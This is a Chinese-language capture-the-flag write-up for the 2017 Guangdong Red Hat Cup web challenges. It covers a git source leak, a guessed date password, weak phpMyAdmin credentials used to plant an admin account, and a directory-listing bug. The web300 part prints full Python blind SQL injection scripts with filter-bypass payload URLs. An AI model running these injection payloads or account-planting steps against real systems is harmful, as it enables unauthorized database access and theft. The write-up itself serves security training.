广东省红帽杯网络安全攻防大赛
比赛网址:http://redhat2017.ichunqiu.com/

比赛大头是pwn/Re,然而队伍没有专门的pwn选手,全程被吊打。web部分也想吐槽下,昨天一度请处腾讯云服务器才做出了web300……(主办方的IP只有腾讯云服务器才能访问…)

web100-刮刮乐

flag隐藏在某个地方

QQ20170507-101851.png
起初以为是隐写,分析了一小会儿感觉不对。从信息泄露着手,利用BBScan扫到git泄露,从而get到flag:
QQ20170507-102157.png

web200-后台

经典后台管理系统,系统建成于2017年,管理员以建成日期作为口令。

从提示看,时间为弱口令,爆破之前试了试昨天的日期20170506,竟然得到了flag。表示这个题出得“好”:
QQ20170507-102429.png
当然,这里验证码存在缺陷,可绕过。出题人的意思估计是要大家去爆破……

web200-PHPMyWIND

这个网站看起来很不错,但可能有bug,请帮忙找出bug。

起初,着手于phpmywind的注入漏洞:
QQ20170507-102721.png
可惜密码解不出来,另外就算解出来也没用,因为貌似有人爆破admin账户,导致这个账户频频被锁。
后来发现存在phpMyAdmin(注意是phpMyAdmin而不是phpmyadmin),存在弱口令用户名密码:phpmywind
进入之后,用phpmyadmin创建一条后台管理数据pmw_admin,注意密码部分需要二次md5加密:
QQ20170507-103139.png
利用刚刚创建的用户登陆后台:
QQ20170507-103220.png
同时从历史漏洞中找到有后台列目录漏洞:

http://106.75.67.7:3089/admin/upload_filemgr_dir.php?dirname=/

从中找到flag文件:

http://106.75.67.7:3089/flag4ae482cda6e.txt

web300-thinkseeker

背后的代码

这道题花费时间较长,我直接介绍思路吧,不说走过的弯路了。
开始队友就找出了信息泄露,所谓的背后的代码:

http://106.75.117.4:3083/index.php~

<?php
error_reporting(0);
$token="e00cf25ad42683b3df678c61f42c6bda";

foreach($_GET as $key=>$value){ 
    if (is_array($value)){
        die("Bad input!");
    }
    $p="and|union|where|join|sleep|benchmark|if|sleep|benchmark|,| |\'|\"";
    if(preg_match("/".$p."/is",$value)==1){
        die("inj code!");
    }
}

parse_str($_SERVER['QUERY_STRING']);

if($token==md5("admin")){
    $link=@mysql_connect("XXXX","XXXX","XXXX");
    mysql_select_db("XXXX",$link);
    $sql="select * from user where userid = ".$userid;
    $query = mysql_query($sql);
    if (mysql_num_rows($query) == 1) { 
        $arr = mysql_fetch_array($query);
        if($arr['password'] == $password) {
            $sql="select * from info where infoid=".$infoid;
            $result=mysql_query($sql);
            $arr = mysql_fetch_array($result);
            if(empty($arr['content'])){
                echo "error sql!";
            }else{
                echo $arr['content'];
            }
        }else{
            echo "error password!";
        }
    }else{
        echo "error userid!";
    }
    mysql_close($link);
}else{
    echo "Bad token!";
}
?>
<html>
    <head>
        <title>web-test</title>
    </head>
    <body>
        <form action="" method="get">
            User ID:<input type="text" name="userid" length="50" /><br>
            Password:<input type="password" name="password" length="50" /><br>
            <input type="submit" value="submit"/>
        </form>
    </body>
</html>

大概思路应该是绕过盲注,先猜测下password字段长度吧:
http://106.75.117.4:3083//index.php?userid=- 1/**2/or/2/length(password)=32&token=21232f297a57a5a743894a0e4a801fc3
然后利用盲注技巧得到password内容:

#!/usr/bin/env python
# _*_ coding: utf-8 _*_

import requests

payload = list('qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890')

headers = {
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
    "Accept-Encoding": "gzip, deflate"
}

user = ''
num = 12
strings = ''
for x in range(1,33):
    for y in payload:
        url = "http://106.75.117.4:3083/index.php?userid=0/**2*/or/**2*/ascii(substr(password/**2*/from/**2*/%d/**2*/for/**2*/1))=%d&password=pass&token=21232f297a57a5a743894a0e4a801fc3" % (x,ord(y))
        try:
            response = requests.get(url,headers=headers,timeout=5,verify=False)
            if response.content.find('error password!') != -1:#
                strings  = strings + y
                num -= 1
                #print url
                break
        except Exception,e:
            pass
print 'password is:',
print strings

运行脚本得到password:
219d03ad2d752ad2806ea1de18613158
QQ20170507-104113.png
构造如下链接:
http://106.75.67.7:3083/index.php?userid=1&password=219d03ad2d 752ad2806ea1de18613158&token=21232f297a57a5a743894a0e4a8 01fc3&infoid=1
结果还是坑:
QQ20170507-104314.png
看来flag在数据库里边,还需要从infoid字段盲注一次。同样的方法得到flag字段长度为38:
http://106.75.67.7:3083/index.php?userid=1&password=219d03ad2d752ad2806ea1de 18613158&token=21232f297a57a5a743894a0e4a801fc3&infoid=- 1/2/or/2/length((select/2/flag/2/from/**2*/flag))=38

更改下上个脚本:

import requests

#payload = list(r'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890@_.{}-')
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.{}-'

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
    "Accept-Encoding": "gzip, deflate"
}

user = ''
num = 12
strings = ''
for x in range(1,39):
    for y in payload:
        #strings  = strings + y
        url = "http://106.75.67.7:3083/index.php?userid=1&password=219d03ad2d752ad2806ea1de18613158&token=21232f297a57a5a743894a0e4a801fc3&infoid=0/**2*/or/**2*/ascii(substr((select/**2*/flag/**2*/from/**2*/flag)/**2*/from/**2*/%d/**2*/for/**2*/1))=%d" % (x,ord(y))
        try:
            response = requests.get(url,headers=headers,timeout=5,verify=False)
            if response.content.find('flag is in flag!') != -1:#
                strings  = strings + y
                print strings
                num -= 1
                #print url
                break
        except Exception,e:
            pass
print 'flag: ',
print strings

运行脚本得到flag:
QQ20170507-105153.png